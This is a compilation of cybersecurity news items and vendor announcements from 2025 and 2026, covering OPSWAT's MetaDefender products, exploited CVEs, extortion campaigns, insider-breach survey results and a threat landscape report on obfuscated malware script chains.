tools, more burnout! New research explains why Workflows built around multiple AI agents and constant tool switching are adding cognitive strain across large enterprises. A recent Harvard Business Review analysis describes this pattern as “AI brain fry,” a form of mental fatigue tied to intensive use and oversight of AI systems. OpenWrt 25.12.0 ships with new package manager, built-in upgrade tool, support for 2200+ devices OpenWrt 25.12.0 is now available for download. The release incorporates over 4,700 commits since branching from OpenWrt 24.10. One of the most significant structural changes in 25.12.0 is the replacement of the opkg package manager with apk, the Alpine Package Keeper. The OpenWrt fork of opkg is no longer maintained, and the project moved to apk as an actively maintained alternative. Bug bounties are broken, and the best security pros are moving on Penetration testing engagements are organized as scheduled contracts with defined scope, set testing windows, and direct communication channels with client teams. Cobalt’s 2026 Pentester Profile Report describes growing preference for penetration testing as a service (PTaaS) and contract-based testing models. The people behind cyber extortion are often in their forties Many cybercrime investigations end with arrests or indictments that reveal little about the people behind the operations. When authorities do disclose demographic details, the pattern that emerges does not match the common assumption that cyber offenders are mostly very young. Analysis in the Security Navigator 2026 report from Orange Cyberdefense points to a different age profile, with a strong concentration of offenders in mid-career adulthood. New Claude tool uses AI agents to find bugs in pull requests Anthropic’s Claude Code Review is a new tool, available as a research preview beta for Team and Enterprise plans, that sends a team of AI agents to examine every pull request. The system dispatches multiple agents that look for bugs in parallel. Findings go through a verification step to filter out false positives, and confirmed issues are ranked by severity. Messenger can warn you about sketchy links without knowing what you clicked Meta’s Advanced browsing protection (ABP) helps Messenger identify and warn users about potentially harmful websites they open from a chat. Malicious sites can try to steal passwords, collect personal information, or install malware. Meta turns to AI to sniff out scams on Facebook, Messenger and WhatsApp Meta’s new tools on Facebook, Messenger, and WhatsApp protect users from scams. They use advanced AI systems to analyze text, images, and surrounding context and identify sophisticated scam patterns. The systems detect impersonation of celebrities, public figures, and brands. They also identify deceptive links and domain impersonation and take action against content that redirects people to sites that mimic legitimate ones. ENISA advisory examines package manager security risks Developers install external libraries with a single command, and that step can introduce more code than expected into a project environment. Dependency resolution inside package managers extends software supply chains across large collections of external components. ENISA’s Technical Advisory for Secure Use of Package Managers, released in March 2026, examines how this development practice expands exposure across software ecosystems. AI coding agents keep repeating decade-old security mistakes Coding agents are now writing production features on real development teams, and a new report from DryRun Security shows that those agents introduce security vulnerabilities at a high rate across nearly every type of application they build. EU Parliament backs extension of CSAM detection rules until 2027 The European Parliament has voted to extend a temporary exemption to EU privacy legislation that allows online platforms to voluntarily detect child sexual abuse material (CSAM). Cybersecurity jobs available right now: March 10, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: March 13, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Binary Defense, Mend.io, OPSWAT, Singulr AI, SOC Prime, Terra Security, and Vicarius.

New infosec products of the week: March 13, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Binary Defense, Mend.io, OPSWAT, Singulr AI, SOC Prime, Terra Security, and Vicarius. Singulr AI’s Agent Pulse delivers enforceable runtime governance and visibility for AI agents Singulr AI has announced the launch of Agent Pulse, extending its Unified AI Control Plane to autonomous AI agents and model context protocol (MCP) servers. Agent Pulse delivers enforceable runtime governance, contextual discovery, and measurable oversight for the agentic enterprise. Terra Portal adds human-governed AI to live production pentesting Terra Security has announced the launch of Terra Portal, its agentic desktop app that serves as an execution layer for pentesters to direct and oversee AI-driven testing in live production environments. Terra Portal reduces the discovery-to-fix cycle for vulnerabilities from the industry average of nearly three months to a matter of hours without sacrificing safety or compliance. Mend.io eliminates AI prompt weaknesses before production Mend.io has launched System Prompt Hardening within Mend AI to detect, score, and automatically remediate weaknesses in AI system prompts. Hidden instructions in system prompts have emerged as a growing security concern that traditional AppSec tools do not fully address. OPSWAT delivers AI-powered perimeter defense with unified zero-day verdicts OPSWAT has introduced MetaDefender Aether, an AI-powered decision engine for fast zero-day detection, purpose-built for the perimeter. Unlike sandbox or antivirus solutions designed for endpoint protection, MetaDefender Aether intercepts files at every entry point, e.g. file transfers, removable media, email attachments, cloud storage, and web traffic, to detect unknown threats before they reach users, devices, or internal systems. Vicarius vIntelligence brings continuous risk validation and AI-driven security automation Vicarius has announced the launch of vIntelligence, a new product that introduces agentic intelligence and continuous validation to the company’s security portfolio. Unlike intelligence layers that rely solely on third-party findings, vIntelligence includes its own validation engine. It can create and execute custom scripts, identify gaps in detection coverage, and revalidate exposures as environments change. Binary Defense’s NightBeacon brings AI-driven analysis to SOCs Binary Defense has announced the launch of NightBeacon, an AI-powered security operations platform built directly into the company’s security operations center (SOC). SOC Prime’s DetectFlow Enterprise moves threat detection to the data ingestion layer SOC Prime has announced the release of DetectFlow Enterprise, a solution that brings real-time threat detection to the ingestion layer, turning data pipelines into detection pipelines.

OPSWAT delivers AI-powered perimeter defense with unified zero-day verdicts OPSWAT has introduced MetaDefender Aether, an AI-powered decision engine for fast zero-day detection, purpose-built for the perimeter. Unlike sandbox or antivirus solutions designed for endpoint protection, MetaDefender Aether intercepts files at every entry point, e.g. file transfers, removable media, email attachments, cloud storage, and web traffic, to detect unknown threats before they reach users, devices, or internal systems. Every file is processed through four progressively deeper AI-powered layers of threat reputation, dynamic analysis, threat scoring and threat hunting. By chaining them into a single pipeline, MetaDefender Aether delivers 99.9% zero-day detection efficacy, 100x greater resource efficiency than VM-based sandboxing, and a unified, confidence-scored verdict per file. Perimeter security is a decision problem. Security teams must determine whether a file is safe, malicious, or suspicious, and then act with confidence. Antivirus and sandbox tools were never architected for this scale or complexity. Endpoint-class tools deployed at the perimeter create queue backlogs, inconclusive results, and alert fatigue. Modern adversaries now leverage AI and ML to generate evasive, obfuscated threats that bypass static and signature-based analysis. MetaDefender Aether was designed specifically to solve this perimeter-scale challenge and improve operational performance inside SOCs: Faster decision velocity: Pre-correlated verdicts with threat-family attribution arrive in near-real time, shrinking the gap between detection and response. Higher-confidence automation: Structured outputs integrate directly into SIEM and SOAR workflows, enabling accurate automated response without manual pivots. Reduced analyst fatigue: Unified verdicts eliminate fragmented tool outputs and false-positive overload. Greater resource efficiency: Instruction-level emulation and intelligent pipeline layering reduce infrastructure demands compared to VM-based sandbox approaches. Continuous AI-powered intelligence loop: Every analyzed file strengthens the global intelligence graph, ensuring detection improves over time. By resolving nearly half of threats in the initial reputation layer and progressively escalating only what requires deeper analysis, MetaDefender Aether reduces unnecessary processing and prevents perimeter-scale inspection from becoming a bottleneck for business-critical file flows. “Traditional sandboxing was never built for AI-driven threats at scale,” said Jan Miller, Global CTO of OPSWAT. “Security teams don’t need more telemetry. They need decisive answers. MetaDefender Aether delivers on what sandboxing was not designed to do: replacing isolated analysis with an AI-native pipeline that delivers a single, high-confidence verdict that SOC teams and automation platforms can act on immediately before any file reaches the network.” How it works Layer 1 — Threat reputation Files are evaluated against OPSWAT’s continuously updated global threat intelligence databases. Known malicious files are blocked immediately, and trusted files are fast-tracked, preserving pipeline capacity for deeper analysis only when required. Layer 2 — Dynamic analysis Files that require deeper inspection enter MetaDefender Aether’s adaptive sandbox, which uses instruction-level CPU and operating system emulation vs. virtual machines to trigger the full execution path across more than 120 file types. This exposes evasive behavior that VM-aware malware often conceals. Newly discovered indicators of compromise (IOCs) are then fed back to Layer 1 while the file is sent for downstream AI analysis. Layer 3 — ML-driven threat scoring Multiple machine-learning engines analyze behavioral signals, anomaly patterns, and IOCs to assign structured, confidence-weighted risk scores. This transforms raw telemetry into high-clarity decisions, dramatically reducing false positives and analyst noise. Layer 4 — AI-powered threat hunting Similarity search maps behavioral fingerprints against a database of more than 100 million analyzed malware samples, automatically attributing files to known threat families, campaigns, and attack toolkits. Unknown files are converted into actionable intelligence, enriching both global and local detection models. MetaDefender Aether replaces fragmented sandbox, reputation, and threat intelligence lookups with a single unified decision pipeline. After completing all four stages, it delivers a single, unified verdict per file, which is contextualized, confidence-scored, and structured for immediate consumption by SOC analysts, SIEM platforms, and SOAR playbooks. No file enters the network partially scanned or without a decision. Enterprise scale and compliance MetaDefender Aether operates across cloud, hybrid, and air-gapped environments and supports regulatory frameworks including NERC CIP, NIS2, SWIFT CSP, CMMC, IEC 62443, GDPR, and HIPAA. The solution integrates natively across the MetaDefender ecosystem, including Core, Cloud, Email Security, MFT, ICAP, Storage, Kiosk, and Cross-Domain.

Week in review: Hackers extorting Salesforce, CentreStack 0-day exploited Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: How to get better results from bug bounty programs without wasting money The wrong bug bounty strategy can flood your team with low-value reports. The right one can surface critical vulnerabilities that would otherwise slip through. A new academic study based on Google’s Vulnerability Rewards Program (VRP) offers rare data on how to tell the difference. Rethinking AI security architectures beyond Earth If you think managing cloud security is complex, try doing it across hundreds of satellites orbiting the planet. Each one is a moving endpoint that must stay secure while communicating through long, delay-prone links. A new study explores how AI could automate security for space systems and whether the best approach is to centralize control or spread it out. Behind the screens: Building security customers appreciate In this Help Net Security interview, Jess Vachon, CISO at PRA Group, discusses the company’s multi-layered defense against fraud and its commitment to protecting customer trust. Vachon explains how PRA Group balances identity verification with a seamless customer experience. From theory to training: Lessons in making NICE usable SMBs may not have big budgets, but they are on the receiving end of many cyberattacks. A new study from Cleveland State University looked at how these companies could train staff without getting lost in the thousands of skills and tasks in the NICE Cybersecurity Workforce Framework. The result is a stripped-down, scenario-based curriculum that may hold lessons for security leaders in much larger enterprises. Cl0p exploits Oracle E-Business Suite zero-day in data theft, extortion campaign (CVE-2025-61882) The Cl0p extortion gang exploited multiple Oracle E-Business Suite (EBS) vulnerabilities, including one zero-day flaw (CVE-2025-61882), “to steal large amounts of data from several victim[s] in August 2025,” Charles Carmakal, CTO at Mandiant – Google Cloud, stated on Sunday. Hackers launch data leak site to extort 39 victims, or Salesforce Scattered Lapsus$ Hunters launched a data leak site over the weekend, aiming to pressure organizations whose Salesforce databases they have plundered into paying to prevent the stolen data from being released. Leaked Oracle EBS exploit scripts expected to drive new wave of attacks (CVE-2025-61882) Resecurity and watchTowr researchers have analyzed the leaked scripts used by attackers to exploit CVE-2025-61882 on internet-facing Oracle ESB instances. Whether the attackers were Cl0p or LAPSUS$, both, or even additional threat actors is still unknown, as the scripts have been leaked on Telegram. Redis patches critical “RediShell” RCE vulnerability, update ASAP! (CVE-2025-49844) Redis, the company behind the widely used in-memory data structure store of the same name, has released patches for a critical vulnerability (CVE-2025-49844) that may allow attackers full access to the underlying host system. North Korean hackers stole over $2 billion in cryptocurrency this year North Korean hackers have stolen more than $2 billion in cryptocurrency in 2025, according to blockchain analytics firm Elliptic, and the year isn’t over yet. Researchers uncover ClickFix-themed phishing kit Palo Alto Networks researchers have discovered and analyzed “IUAM ClickFix Generator”, a phishing kit that allows less skilled attackers to infect unsuspecting users with malware by using the increasingly popular ClickFix social engineering technique. Attackers compromised ALL SonicWall firewall configuration backup files The attackers who brute-forced their way into SonicWall’s firewall cloud backup service accessed configuration backup files of all customers who have used the service, SonicWall stated on Wednesday, following the conclusion of a Mandiant-supported investigation into the incident. Legit tools, illicit uses: Velociraptor, Nezha turned against victims Threat actors are using an increasing variety of commercial and open-source products to carry out their attacks: according to researchers, Velociraptor and Nezha are the latest additions to their attack toolbox. Attackers are exploiting Gladinet CentreStack, Triofox vulnerability with no patch (CVE-2025-11371) CVE-2025-11371, a unauthenticated Local File Inclusion vulnerability in Gladinet CentreStack and Triofox file-sharing and remote access platforms, is being exploited by attackers in the wild. Securing agentic AI with intent-based permissions For decades, action-based permissions have performed the role of the seatbelts of enterprise security, essential guardrails that define what users or systems can do. But with the rise of agentic AI and autonomous software agents that operate independently and make decisions at scale, IAM now needs intent-based permissions that understand not only what an AI agent is doing, but why. October 2025 Patch Tuesday forecast: The end of a decade with Microsoft A lot of classic software is reaching end-of-life (EOL) this month. Windows 10, Office 2016 and Exchange Server 2016 have survived after nearly a decade of service. Not far behind, after six years in existence, comes the end of Office 2019 and Exchange Server 2019. Turning the human factor into your strongest cybersecurity defense In this Help Net Security video, Jacob Martens, Field CISO at Upwind Security, explores one of cybersecurity’s most enduring challenges: the human factor behind breaches. Despite advances in technology, most attacks still begin with people, not code. He explains how tactics like phishing and social engineering continue to succeed by exploiting human emotions such as urgency, fear, and even friendliness. Meet ARGUS, the robot built to catch hackers and physical intruders Hospitals, airports, and campuses are no longer dealing with separate security problems. Someone can slip past a checkpoint while another actor launches a network scan, and together those actions create a bigger risk than either one alone. Most surveillance tools and patrol robots are built to catch one or the other. A new study introduces ARGUS, a mobile system that watches the digital and physical environment at the same time and ties its findings together. How to succeed at cybersecurity job interviews Imagine this: you’ve made it through the résumé screen, your skills look solid on paper, and now it’s interview day. The next hour will decide whether you move forward or go back to the job boards. What separates the candidates who land offers from those who don’t is preparation and knowing what to expect when the questions start coming. The architecture of lies: Bot farms are running the disinformation war Bot farms have moved into the center of information warfare, using automated accounts to manipulate public opinion, influence elections, and weaken trust in institutions. New system aims to keep people connected when networks fail When disaster strikes, communication often fails. Cell towers can go offline, internet connections can disappear, and people are left without a way to share information or ask for help. A new research project looks at how to keep people talking even when regular networks are gone. Developing economies are falling behind in the fight against cybercrime Cybercrime is a global problem, but not every country is equally equipped to fight it. In many developing economies, cybersecurity is still seen as a luxury, something nice to have when budgets allow. That means little investment in tools, training, or talent. Researchers develop AI system to detect scam websites in search results Scam websites tied to online shopping, pet sales, and other e-commerce schemes continue to cause millions in losses each year. Security tools can accurately detect fraudulent sites once they are found, but identifying new ones remains difficult. Proxmox Mail Gateway: Open-source email security solution reaches version 9.0 First released in 2005, the open-source Proxmox Mail Gateway has become a widely adopted mail proxy, positioned between the firewall and the internal mail server to stop threats before they reach users. The platform delivers anti-spam and antivirus filtering to help organizations counter email-borne risks such as malware, Trojans, and phishing campaigns. DefectDojo: Open-source DevSecOps platform DefectDojo is an open-source tool for DevSecOps, application security posture management (ASPM), and vulnerability management. It helps teams manage security testing, track and remove duplicate findings, handle remediation, and generate reports. Nagios: Open-source monitoring solution Nagios is an open-source monitoring solution, now included as part of the robust Nagios Core Services Platform (CSP). It delivers end-to-end visibility across the entire IT infrastructure, covering everything from websites and DNS to servers, routers, switches, workstations, and critical services. It helps organizations proactively detect issues, minimize downtime, and ensure the reliability of their systems. Phishing is old, but AI just gave it new life The volume of cyberattacks has reached staggering levels, with new tactics that blur the line between legitimate and malicious activity. A new threat report from Comcast, based on 34.6 billion cybersecurity events analyzed over the past year, shows what adversaries are doing and what this means for enterprise leaders. Old authentication habits die hard Many organizations still rely on weak authentication methods while workers’ personal habits create additional risks, according to Yubico. Cybersecurity’s next test: AI, quantum, and geopolitics Geopolitics, emerging technology, and skills shortages are reshaping cybersecurity priorities across industries, according to a new PwC report. The findings show a mix of rising awareness, persistent weaknesses, and uneven preparation for the next wave of threats. Six metrics policymakers need to track cyber resilience Most countries are still making national cyber policy decisions without reliable numbers. Regulations often focus on incident reporting after damage is done, but they fail to give governments a forward-looking picture of resilience. A new report from Zurich Insurance Group argues that this gap leaves economies exposed and slows the ability to respond to systemic threats. Outdated encryption leaves crypto wide open The cryptocurrency sector faces an existential threat on two fronts: none of the 2,138 web applications and 146 mobile apps tested by ImmuniWeb support post-quantum encryption, and more than 7.8 million user records are already circulating on the dark web. Your SOC is tired, AI isn’t Security teams have discussed AI in the SOC for years, but solid evidence of its impact has been limited. A recent benchmark study by Dropzone puts measurable evidence behind the idea, showing that AI agents can help analysts work faster and with greater accuracy during alert investigations, without major changes to existing workflows. Cybersecurity jobs available right now: October 7, 2025 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. eBook: Defending Identity Security the Moment It’s Threatened Credential-based attacks happen in seconds. Learn how to block weak or stolen passwords instantly, safeguard accounts in real time, and reduce helpdesk headaches with automated defense. New infosec products of the week: October 10, 2025 Here’s a look at the most interesting products from the past week, featuring releases from Object First, OPSWAT, Radiflow, and Semperis.

New infosec products of the week: October 10, 2025 Here’s a look at the most interesting products from the past week, featuring releases from Object First, OPSWAT, Radiflow, and Semperis. OPSWAT’s MetaDefender Drive delivers portable, network-free threat scanning Purpose-built for critical infrastructure, MetaDefender Drive with Smart Touch is a compact, handheld device featuring physical connectivity controls that eliminate the risk of network-based compromise during operation. The device enables organizations to scan and validate transient assets, including vendor laptops, contractor devices, and other critical devices, ensuring they are threat-free before being introduced into secure environments. Radiflow360 unifies OT risk, compliance, and response Radiflow360 targets OT security teams at mid-sized industrial enterprises that need real-time control of their operational environments, but often struggle with manual processes and siloed tools. The platform frees these organizations from the need to juggle multiple systems by unifying intrusion and anomaly detection with the initial phases of asset discovery and risk assessment in a single pane of glass. Ready1 for Identity Crisis Management restores operations after identity breaches Semperis released Ready1 for Identity Crisis Management, which combines its Active Directory Forest Recovery (ADFR), Disaster Recovery for Entra Tenant (DRET), and Identity Forensics and Incident Response (IFIR) services with its enterprise crisis management system, Ready1, to help organizations restore business operations after identity-related cyberattacks. Ootbi Mini delivers zero trust, immutable data protection Object First unveiled Ootbi Mini, a new compact immutable storage appliance designed for remote and branch offices, edge environments, and small businesses to ransomware-proof local Veeam backup data.

OPSWAT’s MetaDefender Drive delivers portable, network-free threat scanning OPSWAT launched MetaDefender Drive with Smart Touch, a portable cybersecurity device designed for malware and compliance scanning of transient cyber assets regardless of network connectivity. It works across servers, desktops, and laptops before they enter secure environments. The device lets security teams to prevent cyberattacks, which can severely impact operations, including downtime from inbound and transient assets. Purpose-built for critical infrastructure, MetaDefender Drive with Smart Touch is a compact, handheld device featuring physical connectivity controls that eliminate the risk of network-based compromise during operation. The device enables organizations to scan and validate transient assets, including vendor laptops, contractor devices, and other critical devices, ensuring they are threat-free before being introduced into secure environments. The next-generation MetaDefender Drive is powered by OPSWAT’s Metascan Multiscanning technology, leveraging up to seven anti-malware engines, file-based vulnerability assessment, proactive data loss prevention (DLP), and country-of-origin detection. It also includes boot-level analysis for deep inspection of cyber assets. With a simple touch interface and requiring no installation, the device is easy to use, even in high-security, air-gapped facilities. “By combining our advanced multiscanning and data sanitization technologies in a handheld form factor, we’re giving critical infrastructure operators the best of both worlds—uncompromising security and the operational flexibility to enable operations anywhere independent of connectivity,” said Itay Glick, Vice President of Products, OPSWAT. “With seamless integration into My OPSWAT Central Management, organizations can centrally monitor and update the MetaDefender Drive with Smart Touch remotely, ensuring every transient and critical asset is verified and safe for use.”

Nearly two-thirds (61%) of US firms have suffered from insider data breaches in the past two years, according to a new OPSWAT report conducted by the Ponemon Institute. Affected businesses have had an average of eight insider incidents that resulted in unauthorized access to sensitive and confidential data in files. These relate to both unintentional and malicious insider activities. The average cost of insider incidents per organization is $2.7m, with financial impacts made up of factors like regulatory fines, diminished workplace productivity and loss of customer data. The US IT and IT security practitioners surveyed for the study cited data leakage from malicious and unintentional insiders as the most serious risk to file security at their organization (45%). This was followed by file access visibility and control (39%) and malicious files and applications from third-party vendors (33%). Malicious insiders relate to employees or contractors deliberately stealing or leaking data from their employer for purposes such as sabotage and financial gain. Unintentional insiders relate to staff who unwittingly leak data due to negligence or from being duped by malicious actors. An example of this is posting sensitive commercial or customer data on publicly-facing AI tools. File Storage Tools the Most Vulnerable Environment File storage environments were considered the location that poses the biggest threat to data, cited by 42% of respondents. This includes on-prem environments such as SharePoint and network-attached storage (NAS) devices. The next riskiest environment was web file uploads (40%), followed by web file downloads from websites or software-as-a-service (SaaS) apps and collaboration platforms (39%), such as Microsoft Teams. Cloud storage tools, such as Google Workspace, and SaaS applications, such as Dropbox, were cited by 29% and 23% of respondents, respectively, in their top three riskiest data environments. One in Three Firms Have Banned GenAI The OPSWAT report, published on September 4, also analyzed organizations’ use of AI tools. Just under a third (29%) of respondents revealed their organization has banned generative AI tools, while 19% have no plans to adopt them at all. Just 25% of firms have adopted a formal policy for generative AI use in the workplace, with 27% taking an ad hoc approach. A significant proportion of respondents highlighted the importance of AI in their file security strategy. A third (33%) reported that their organization had made AI a part of its file security strategy and 29% plan to add AI into their approach in 2026. Over half (59%) of those respondents who have or plan to make AI part of its file security strategy said that AI is very or highly effective in enhancing file security maturity. Additionally, 29% revealed they are in the testing pilot phase of using generative AI technology to unlock files, while 18% said it is in production.

The toolsets used by threat actors to attack their targets are rapidly evolving, with a 127% spike in malware complexity over the past six months, according to OPSWAT, a cybersecurity company focusing on critical infrastructure. In its inaugural Threat Landscape Report, published on August 6 during Black Hat USA, the firm estimated that this significant increase is primarily driven by three major factors combined Multi-stage execution chains Heavily obfuscated loaders (e.g. NetReactor) Evasive behaviors that slip past traditional antivirus and endpoint detection and response (EDR) solutions Adversaries Combine Lightweight Scripts to Bypass Detection According to OPSWAT’s report, threat actors increasingly rely on chaining lightweight, obfuscated scripts to bypass detection. Initial access vectors observed this year range from uncommon file types like .lnk shortcuts to more traditional phishing documents. Then they typically leverage a combination of scripts (Batch, PowerShell, VBS, JavaScript…), each obfuscating the next stage, chained together in varying orders and depth. “These script chains are designed for simplicity and modularity, which paradoxically makes them harder to catch. The execution is fast, and traces are minimal. A standout example was seen in targeted espionage campaigns across Eastern Europe, where LNK files served as silent launchers for heavily obfuscated script chains,” the OPSWAT report reads. Additionally, OPSWAT has observed an increased use of the ‘ClickFix’ technique from both cybercriminals and nation-state threat actors. Adversaries Favor Stealth Over Scale One specificity observed during the past six months was a clear shift toward precision-based attack strategies, favoring stealth and evasion over sheer volume. Threat actors increasingly relied on exploiting obscure or previously unknown techniques, often zero-day evasion methods, not just for initial compromise but to systematically bypass detection pipelines. Key tactics included: Malformed file delivery, such as corrupted Office documents designed to evade parsing logic Obfuscation tricks targeting detection blind spots, like embedding UTF-16 BOM markers in batch scripts to disrupt analysis Unconventional payload formats, including compiled JavaScript or Python, are rarely associated with traditional malware Adding another layer of sophistication, many operations incorporated geo-aware logic, where payloads were delivered or executed only in specific regions. This deliberate isolation minimized visibility, allowing campaigns to evade traditional sandboxing and remain undetected. Similarly, adversaries tend to favor stealth over scale when selecting their payloads. Typical payloads hide in formats like .NET bitmaps and steganographic images, with Google services repurposed for covert command-and-control (C2) infrastructure. OPSWAT’s 2025 Threat Landscape Report is based on behavioral telemetry from over 890,000 sandbox scans over the past 12 months using Filescao.io, a malware analysis platform. The malware complexity metric is based on the average emulation nodes on multi-stage malware, calculated by the OPSWAT researchers based on their telemetry.